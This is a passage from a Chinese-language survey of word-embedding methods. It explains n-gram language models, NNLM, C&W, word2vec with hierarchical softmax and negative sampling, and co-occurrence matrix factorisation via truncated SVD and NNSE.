<p>在语言学研究中,一个对当今基于统计的语言处理方法最有用的假设就是分布假设,即“上下文相似的词,其语义也相似” (Harris, 1954)。后来这一假设被进一步具体化,即“词的语义由其上下文决定” (Firth, 1957)。许多词嵌入模型都是基于这个假设,利用词语的上下文信息构造词嵌入。</p>
<p>另一个关于词嵌入的重要基础是语言模型,它是从句子的角度对语言建模的,要求输入一个字词串,输出该字词串出现在自然语言的概率。为了实现该模型,常常会引入马尔科夫假设,用n-gram模型来估算语言模型。语言模型与词嵌入模型的关联在于,如果我们明确定义了语言模型的概率函数的计算方法,也有了字词串的实际概率,那么理论上就可以求解出每个词的数学表示,该表示就可以作为一种词嵌入。</p>
<h2 id="词嵌入表示的构造学习">词嵌入表示的构造学习</h2>
<p>基于不同的思想(主要是上节所述的分布假设和语言模型),产生了许多词嵌入的计算方法。</p>
<h3 id="基于语言模型的学习">基于语言模型的学习</h3>
<p>上文提到,语言模型是一种概率估计,传统的实现方法是引入马尔科夫假设,用连续的n-gram模型概率相乘得到字词串的概率。设一个字词串<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>W</mi><mo>=</mo><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mn>1</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>w</mi><mn>2</mn></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>…</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>w</mi><mi>T</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">W = \left( w_{1},\ w_{2},\ \ldots,\ w_{T} \right)</annotation></semantics></math>,它的概率可以表示为</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>W</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mn>1</mn></msub><mo>,</mo><msub><mi>w</mi><mn>2</mn></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>w</mi><mi>T</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mn>1</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mn>2</mn></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mn>1</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mn>3</mn></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mn>1</mn></msub><msub><mi>w</mi><mn>2</mn></msub><mo stretchy="true" form="postfix">)</mo></mrow><mi>…</mi><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>T</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mn>1</mn></msub><mi>…</mi><msub><mi>w</mi><mrow><mi>T</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">p(W) = p\left( w_{1},w_{2},\ldots,w_{T} \right) = p\left( w_{1} \right)p\left( w_{2} \middle| w_{1} \right)p\left( w_{3} \middle| w_{1}w_{2} \right)\ldots p\left( w_{T} \middle| w_{1}\ldots w_{T - 1} \right)</annotation></semantics></math></p>
<p>但是这个算法中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>k</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mn>1</mn></msub><mi>…</mi><msub><mi>w</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">p\left( w_{k} \middle| w_{1}\ldots w_{k - 1} \right)</annotation></semantics></math>涉及到<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>V</mi><mi>k</mi></msup><annotation encoding="application/x-tex">V^{k}</annotation></semantics></math>个参数,其中V是词典大小,如果字词串长度较大就无法接受。N-gram模型可以减少参数量,它假设</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>k</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mn>1</mn></msub><mi>…</mi><msub><mi>w</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>≈</mo><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>k</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>w</mi><mrow><mi>k</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msub><mi>…</mi><msub><mi>w</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">p\left( w_{k} \middle| w_{1}\ldots w_{k - 1} \right) \approx p\left( w_{k} \middle| w_{k - n + 1}\ldots w_{k - 1} \right)</annotation></semantics></math></p>
<p>即用前n-1个词可以替代前k-1个词预测下一个词的概率,这样参数量就降低到了<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>V</mi><mi>n</mi></msup><annotation encoding="application/x-tex">V^{n}</annotation></semantics></math>,n如果较小的话(不大于3)还是可以接受的。</p>
<p>但是简单统计的n-gram方法也有问题,就是<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>V</mi><mi>n</mi></msup><annotation encoding="application/x-tex">V^{n}</annotation></semantics></math>个参数太稀疏了,如果在实际计算过程中遇到一个单词组合是语料库中没有的,那么整个概率就会变成0,这不利于概率计算。为了解决这个问题,一种方法是做平滑处理,让没有出现过的单词组合也有一个较小的概率。另一种方法就是更充分地利用单词的信息,语法和语义上相似的单词互相替换后应该在语言模型计算后获得相似的概率,下面介绍的神经语言模型就用了这种想法。</p>
<h4 id="神经语言模型">神经语言模型</h4>
<p>神经语言模型(NNLM)通过神经网络实现语言模型,达到了同时训练语言模型和词嵌入的效果 (Bengio et al., 2003)。它将每个单词都映射到一个向量,将几个单词输入到模型中后尝试预测下一个单词,模型的训练目标就是让预测的结果接近真实的概率。</p>
<p>这篇论文的创新点可以概括为三个方面:</p>
<p>第一是用神经网络实现了语言模型。在此之前,语言模型常常需要大量的统计和存储,通过n-gram的方法来估算一个词序列在语言中是正常句子的概率,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msubsup><mi>w</mi><mn>1</mn><mi>T</mi></msubsup><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><msubsup><mo>∏</mo><mrow></mrow><mrow></mrow></msubsup><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo stretchy="true" form="infix">|</mo><msubsup><mi>w</mi><mn>1</mn><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>≈</mo><msubsup><mo>∏</mo><mrow></mrow><mrow></mrow></msubsup><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo stretchy="true" form="infix">|</mo><msubsup><mi>w</mi><mrow><mi>t</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">P\left( w_{1}^{T} \right) = \prod_{}^{}{P\left( w_{t} \middle| w_{1}^{t - 1} \right)} \approx \prod_{}^{}{P\left( w_{t} \middle| w_{t - n + 1}^{t - 1} \right)}</annotation></semantics></math>。由于复杂度的限制,这种方式一般最多只能做到<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">n = 3</annotation></semantics></math>也就是trigram的大小。NNLM的想法是,上面的概率函数P不再使用统计的方法实现,而是使用神经网络。这个神经网络通过学习,实现输入一个序列,输出预测下一个词概率的功能,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo>,</mo><mspace width="0.222em"></mspace><mi>…</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>w</mi><mrow><mi>t</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>t</mi></msub><mo stretchy="true" form="infix">|</mo><msubsup><mi>w</mi><mn>1</mn><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">f\left( w_{t},\ \ldots,\ w_{t - n + 1} \right) = P\left( w_{t} \middle| w_{1}^{t - 1} \right)</annotation></semantics></math>,自然其中的限制是<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mrow><mo stretchy="true" form="prefix">|</mo><mi>V</mi><mo stretchy="true" form="postfix">|</mo></mrow></msubsup><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>i</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>w</mi><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>,</mo><mi>…</mi><mo>,</mo><mspace width="0.222em"></mspace><msub><mi>w</mi><mrow><mi>t</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>=</mo><mn>1</mn><mo>,</mo><mspace width="0.222em"></mspace><mi>f</mi><mo>></mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\sum_{i = 1}^{|V|}{f\left( i,\ w_{t - 1},\ldots,\ w_{t - n + 1} \right)} = 1,\ f > 0</annotation></semantics></math>,所以使用<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">|</mo><mi>V</mi><mo stretchy="true" form="postfix">|</mo></mrow><annotation encoding="application/x-tex">|V|</annotation></semantics></math>维的softmax作为输出,这也是算法中时间复杂度的瓶颈。</p>
<p>第二是将词的向量表示作为训练参数。因为相似的词语在语料库中有相似的语境,所以通过初始化一个word embedding矩阵,每一行是一个单词的向量表示,也就是词嵌入,词嵌入也是训练参数,在每次训练中进行更新,最后得到的结果可以使相似的词语有相似的表示。这里可以看出词嵌入是语言模型的一个附属品,但后来的研究发现,词嵌入本身也是一个很好的工具。</p>
<p>第三是尝试将训练过程并行化处理。分为两种情况,一种是在共享内存处理器的条件下,进行数据的并行处理,每个处理器工作在不同的数据子集。每个处理器计算它拥有的训练样例的梯度,执行随机梯度下降算法更新内存中共享的参数。每个处理器可以在任意时间向共享的内存中写数据,有时会产生一些写冲突而丢失数据,这导致了参数更新的一些噪声,然而这种噪声是很微不足道的。另一种是在CPU的网络的情况下,进行参数的并行处理。每个CPU计算一块输出节点的梯度,然后在一个CPU上求和并共享总梯度,再由每个CPU分块进行梯度下降。</p>
<p>当模型训练完整后,每个单词映射的向量就是词嵌入表示。</p>
<h4 id="cw模型">C&W模型</h4>
<p>NNLM (Bengio et al., 2003) 使用神经网络实现了语言模型和词嵌入的同时训练,C&W模型 (Collobert and Weston, 2008) 同样采用了神经网络架构,但是他们考虑了更多的词语特征和语言处理任务,并证明同时训练这些任务可以有效提升性能。</p>
<p>在该文中,他们首先列举了六项NLP任务,分别是词性标记(POS)、分块(浅层分析,chunking)、命名实体识别(NER)、语义角色标记(SRL)、语言模型和语义相关单词(同义词)。他们认为这些任务中SRL是最复杂的,所以将这项任务的性能作为主要评价指标,其他任务用于辅助提升SRL的性能。</p>
<p>然后他们描述了该模型的通用架构。该模型可以分为三层,第一层是将单词和它的特征(如大小写)映射到向量,单词和每种特征都分别对应一个lookup table,其中单词的lookup table有|D|列,特征的lookup table的列数等于该特征的类数(如是否大小写可以看作true和false两类,该lookup table就有两列),这些向量是可以通过反向传播训练的。第二层是卷积和池化,然后可以接一个可选的非线性层。第三层是线性层和softmax。</p>
<p>上述六个任务中,前四个任务(POS、chunking、NER、SRL)都可以直接看作词级别的多分类任务,所以可以直接使用这个架构,利用有标注的数据进行有监督学习。语言模型任务是通过设计转化为了一个词序列的二分类任务,即把模型的输出层的softmax改为输出一个打分,分数越高表示该序列越符合语言模型,最后目标是最小化<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><mi>S</mi></mrow><mrow></mrow></msubsup><mrow><msubsup><mo>∑</mo><mrow><mi>w</mi><mo>∈</mo><mi>D</mi></mrow><mrow></mrow></msubsup><mrow><mo>max</mo><mrow><mo stretchy="true" form="prefix">(</mo><mn>0</mn><mo>,</mo><mspace width="0.222em"></mspace><mn>1</mn><mo>−</mo><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow></mrow><annotation encoding="application/x-tex">\sum_{s \in S}^{}{\sum_{w \in D}^{}{\max\left( 0,\ 1 - f(s) + f\left( s^{w} \right) \right)}}</annotation></semantics></math>,其中s是语料库中的词序列,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>s</mi><mi>w</mi></msup><annotation encoding="application/x-tex">s^{w}</annotation></semantics></math>表示把s中间的词替换为了w,这样<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">f(s)</annotation></semantics></math>的值就应该较大,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">f\left( s^{w} \right)</annotation></semantics></math>的值就应该较小。这种方式将传统语言模型的预测任务转化为了判别任务,大大降低了输出层节点的数量,也避免了softmax复杂度高的问题。</p>
<p>实验过程是,首先用语言模型训练lookup table,然后用几个单词的近邻词定性地说明了语言模型产生的词嵌入效果较好。这个lookup table继续由多任务学习共用,相当于用其他任务来微调语言模型得到的词嵌入表示,并测试了若干个任务组合训练后SRL的错误率,结果证明多任务学习确实有助于降低SRL的错误率,其中SRL+语言模型的半监督多任务学习的效果最好。</p>
<h4 id="global-context-aware-neural-language-model">Global Context-Aware Neural Language Model</h4>
<p>Huang et al. (2012) 提出了这一模型,这个模型借鉴了C&W模型中语言模型的设计,在它的基础上增加了全局文本的信息,目标函数为最小化</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mrow><mi>s</mi><mo>,</mo><mi>d</mi></mrow></msub><mo>=</mo><munderover><mo>∑</mo><mrow><mi>w</mi><mo>∈</mo><mi>V</mi></mrow><mrow></mrow></munderover><mrow><mo>max</mo><mrow><mo stretchy="true" form="prefix">(</mo><mn>0</mn><mo>,</mo><mn>1</mn><mo>−</mo><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">C_{s,d} = \sum_{w \in V}^{}{\max\left( 0,1 - g(s,d) + g\left( s^{w},d \right) \right)}</annotation></semantics></math></p>
<p>其中s是词序列,d是完整文本,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>s</mi><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">g(s,d)</annotation></semantics></math>为得分函数,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mrow><mo stretchy="true" form="prefix">(</mo><msup><mi>s</mi><mi>w</mi></msup><mo>,</mo><mi>d</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">g\left( s^{w},d \right)</annotation></semantics></math>为s序列中最后一个词由w替代后的得分。同时,需要把两者差值控制在[0, 1]范围之内。</p>
<p>得分函数g的实现分为两部分,第一部分与C&W类似,对词嵌入序列进行非线性变换,第二部分是把文档嵌入和最后一个词的嵌入拼接起来,然后进行非线性变换。其中文档嵌入的计算方法就是将文档中所有的词做加权平均。</p>
<p>这篇论文还有一部分是关于学习词语的多原型表示,这部分将在“多义词的表示方法”一节介绍。</p>
<p>这篇论文的实验部分可以分为四个实验,分别是Global Context-Aware Neural Language Model的定性和定量评估,以及Multi-Prototype Neural Language Model的定性和定量评估。因为这个模型是2012年提出的,所以还没有word2vec和GloVe等词嵌入模型,这篇论文主要的对比SOTA对象是上一节介绍的C&W模型。其中关于Global Context-Aware Neural Language Model的定性评估方法是选择三个与特定词语距离最近的词,看词义相似度;定量评估方法是在WordSim353数据集上算相关系数,结果显示该模型在不使用stop words的情况下效果最好。</p>
<h4 id="word2vec">Word2vec</h4>
<p>Word2vec (Mikolov et al., 2013a) 总结并简化了NNLM和C&W模型,只保留了根据某个单词预测上下文单词(或相反)的部分。在这篇论文中,介绍了word2vec的两个模型,分别是Continuous Bag-of-Words Model (CBOW) 和Continuous Skip-gram Model (skip-gram),两个模型具有相同的结构,只是输入输出不同,前者是输入多个上下文单词,输出目标词的概率,后者是输入一个目标词,输出上下文单词的概率。</p>
<p>与NNLM类似,word2vec也使用了神经网络的结构,但是不含有非线性层,只有线性结构,用两个向量的内积来表示两个单词共同出现的概率。这篇论文中没有过多提及模型结构的具体定义,后来该算法渐渐被其他人所分析和解释 (Goldberg and Levy, 2014),具体的模型目标函数将在“词嵌入模型的关联”一节讨论。</p>
<p>相对的,这篇论文中做了很多关于复杂度的对比分析,他们指出,对于下面提到的所有模型,训练复杂度正比于O=E×T×Q,其中,E是指训练的迭代次数,T是训练集中词的数量,Q是一个样本的训练复杂度,由模型定义。E一般的选择范围是3到50,T可达到1e9的数量级。</p>
<ul>
<li><p>对于NNLM,一个样本的训练复杂度是Q=N×D+N×D×H+H×V,其中N是输入的词数量(n-gram),D是投影层的维度,H是隐含层维度,V是词表大小。</p></li>
<li><p>对于RNNLM,一个样本的训练复杂度是Q=H×H+H×V。</p></li>
<li><p>对于CBOW,文中给出了它使用了二叉树优化的softmax的复杂度,Q=N×D+D×log(V)。</p></li>
<li><p>对于Skip-gram,同样是使用了二叉树优化的softmax的复杂度,Q=C×(D+D×log(V)),其中C是窗口大小。</p></li>
</ul>
<p>在这项工作中,发现word2vec生成的词嵌入具有语义线性运算(analogy)的性质,一个经典的例子是king - man + woman = queen。能否实现analogy也成为了评价词嵌入的主要指标之一,具有这种语义关系的词嵌入可用于改进许多现有的自然语言处理应用程序,如机器翻译、信息检索和问题回答系统。论文中也测试了传统的语义相关性性能,如意思相近的词挨得比较近,而且每个单词可以具有多个相似度。具体的词嵌入评价方法和结果将在“词嵌入的性质和评价”一节讨论。</p>
<h5 id="词嵌入模型运算优化">词嵌入模型运算优化</h5>
<p>许多词嵌入模型的输出都是一个概率,如word2vec就是输出目标词或上下文词的概率,而多分类问题的概率常常会使用softmax来表示。但是对于词嵌入模型来说,每次迭代softmax需要O(V)的复杂度计算,其中V是词表大小。这个复杂度太大不太能接受,所以可以尝试以下两种方法优化softmax的复杂度,hierarchical softmax和negative sampling。这两个方法被word2vec引用并作为主要的训练方法(Mikolov et al., 2013b)。</p>
<h6 id="hierarchical-softmax">Hierarchical Softmax</h6>
<p>作为一种计算高效的近似方法,hierarchical softmax被广泛使用。Morin and Bengio (2005) 首先将这种方法引入神经网络语言模型,后来由Mnih and Hinton (2009) 改良,由Mikolov et al. (2013b) 引入skip-gram模型。该方法不用为了获得概率分布而评估神经网络中的W个输出结点,而只需要评估大约log(W)个结点。层次softmax使用一种完全二叉树结构来表示词典里的所有词,V个词都是二叉树的叶子结点,而这棵树一共有V−1个非叶子结点。</p>
<p>对于每个叶子结点(词),总有一条从根结点出发到该结点的唯一路径。这个路径很重要,因为要靠它来估算这个词出现的概率。以下图为例,白色结点为词典中的词,深色是非叶子结点。图中画出了从根结点到词w2的路径,路径长度L(w2)=4。n(w, j)表示从根结点到词w2的路径上的的第j个结点。</p>
<p>在模型的训练过程中,通过Huffman编码 (Huffman, 1952),构造了一颗庞大的Huffman树。我们要计算的是目标词w的概率,这个概率的具体含义,是指从root结点开始随机走,走到目标词w的概率。因此在途中路过非叶子结点(包括root)时,需要分别知道往左走和往右走的概率。例如到达非叶子节点n的时候往左边走和往右边走的概率分别是:</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>,</mo><mi>l</mi><mi>e</mi><mi>f</mi><mi>t</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>σ</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>h</mi><mi>n</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">p(n,left) = \sigma\left( h_{n} \right)</annotation></semantics></math></p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>,</mo><mi>r</mi><mi>i</mi><mi>g</mi><mi>h</mi><mi>t</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mn>1</mn><mo>−</mo><mi>σ</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>h</mi><mi>n</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mi>σ</mi><mrow><mo stretchy="true" form="prefix">(</mo><mo>−</mo><msub><mi>h</mi><mi>n</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">p(n,right) = 1 - \sigma\left( h_{n} \right) = \sigma\left( - h_{n} \right)</annotation></semantics></math></p>
<p>容易证明所有输出节点的概率和为1。</p>
<h6 id="negative-sampling">Negative Sampling</h6>
<p>对于一组输入输出来说,模型的输出结果只有一个理论值为1的正例,其他都是值为0的负例。所有的这些权重需要通过反向传播进行调整,这是非常消耗计算资源的。除了上面介绍的hierarchical softmax,也可以使用negative sampling解决这个问题 (Mikolov et al., 2013b)。该方法来源于noise-contrastive estimation (NCE),即通过人工噪声训练可以近似估计对数概率,后来该方法被用于训练词嵌入 (Mnih and Kavukcuoglu, 2013),并被skip-gram模型采用。</p>
<p>当使用negative sampling时,将随机选择一小部分的negative words(比如选5个negative words)来更新对应的权重。当然原本输出为1的节点也应计入并更新对应权重。也就是说,从原本的V个输出层节点权重全部更新,改为仅更新6个节点的权重,这样计算效率就大幅提高了。</p>
<p>一个问题是如何选择negative words。因为在训练过程中,出现频率更高的词作为正样例的次数更多,所以这些节点的权重提升更充分。因此,一种相对的合理想法是,在这些节点不作为正样例的情况下,进行更多打压才有助于修正模型。所以negative words也是根据他们出现概率来选的,而这个概率又和他们出现的频率有关。更常出现的词,更容易被选为negative words。通过测试,一个表现比较好的负采样概率是:</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mfrac><mrow><mi>U</mi><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mn>0.75</mn></msup></mrow><mrow><munderover><mo>∑</mo><mi>j</mi><mrow></mrow></munderover><mrow><mi>U</mi><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>w</mi><mi>j</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mn>0.75</mn></msup></mrow></mrow></mfrac></mrow><annotation encoding="application/x-tex">P\left( w_{i} \right) = \frac{U\left( w_{i} \right)^{0.75}}{\sum_{j}^{}{U\left( w_{j} \right)^{0.75}}}</annotation></semantics></math></p>
<p>其中U(w)表示词w的unigram概率,也就是词频。</p>
<h3 id="基于共现矩阵分解">基于共现矩阵分解</h3>
<p>上面所述的方法都是基于神经网络的,确实神经网络有它的长处,比如增加数据集的时候只要在原来的基础上继续训练,可尝试的超参数比较多,容易达到较高的性能。但另外也有一些基于统计和数学的方法,这类方法的特点是易于推导和解释,在实现上也易于调试。</p>
<p>为了实现基于统计和数学的词嵌入方法,首先引入向量空间模型(vector space model, VSM)的概念,这个模型的核心单词分布的统计,也就是共现矩阵。常用的共现矩阵统计方法可以分为三种:term-document、word-context和pair-pattern (Turney and Pantel, 2010):</p>
<ul>
<li><p>term-document: 行向量对应于一个term,通常是一个词;列向量是一个document,例如一个网页。<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>x</mi><mrow><mi>i</mi><mo>,</mo><mi>j</mi></mrow></msub><annotation encoding="application/x-tex">x_{i,j}</annotation></semantics></math>表示词i在文档j中的出现次数。</p></li>
<li><p>word-context: 行向量是词,列向量是上下文(如前后几个词、短语、句子、段落、章节或文档等)。<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>x</mi><mrow><mi>i</mi><mo>,</mo><mi>j</mi></mrow></msub><annotation encoding="application/x-tex">x_{i,j}</annotation></semantics></math>表示词i在上下文j中的出现次数。</p></li>
<li><p>pair-pattern: 行向量是词对,列向量是词对的模式。如“carpenter cuts wood”在矩阵<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>x</mi><mrow><mi>i</mi><mo>,</mo><mi>j</mi></mrow></msub><annotation encoding="application/x-tex">x_{i,j}</annotation></semantics></math>中,i是“carpenter : wood”,j是“X cuts Y”。</p></li>
</ul>
<p>共现矩阵可能需要进一步处理,比如加权、平滑等。一种比较好的平滑方式是truncated Singular Value Decomposition (truncated SVD)。SVD是一种矩阵分解方法,原理是任意一个m*n的矩阵X,都可以把它分解为三个矩阵的乘积<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mi>U</mi><mi>S</mi><msup><mi>V</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">X = USV^{T}</annotation></semantics></math>。设<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi><mo>=</mo><mo>min</mo><mrow><mo stretchy="true" form="prefix">(</mo><mi>m</mi><mo>,</mo><mi>n</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">q = \min(m,n)</annotation></semantics></math>,则三个矩阵的大小分别为U (m*q),S (q*q),V (n*q),且S是一个对角矩阵,对角线上的值是奇异值。Truncated是指SVD分解后,取S中top k的奇异值,和U、V中对应的k列,可以构成原共现矩阵的近似<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover><mi>X</mi><mo accent="true">̂</mo></mover><mo>=</mo><msub><mi>U</mi><mi>k</mi></msub><msub><mi>Σ</mi><mi>k</mi></msub><msubsup><mi>V</mi><mi>k</mi><mi>T</mi></msubsup></mrow><annotation encoding="application/x-tex">\widehat{X} = U_{k}\Sigma_{k}V_{k}^{T}</annotation></semantics></math>。这样做的好处在于可以降低X的稀疏度,加强上下文的关联性,并且X的行空间和列空间都映射到了k维空间中。对于词嵌入任务,可以将<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>k</mi></msub><msup><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>Σ</mi><mi>k</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mi>α</mi></msup></mrow><annotation encoding="application/x-tex">U_{k}\left( \Sigma_{k} \right)^{\alpha}</annotation></semantics></math>的每行作为词语表示。</p>
<h4 id="非负稀疏嵌入nnse算法">非负稀疏嵌入(NNSE)算法</h4>
<p>Murphy et al. (2012) 将非负稀疏编码(NNSC)的方法应用在了生成词嵌入上,它的原理是将共现统计矩阵X尽可能分解为A*D,其中A是一个非负稀疏矩阵,大小为m*k,每一行作为词嵌入表示。</p>
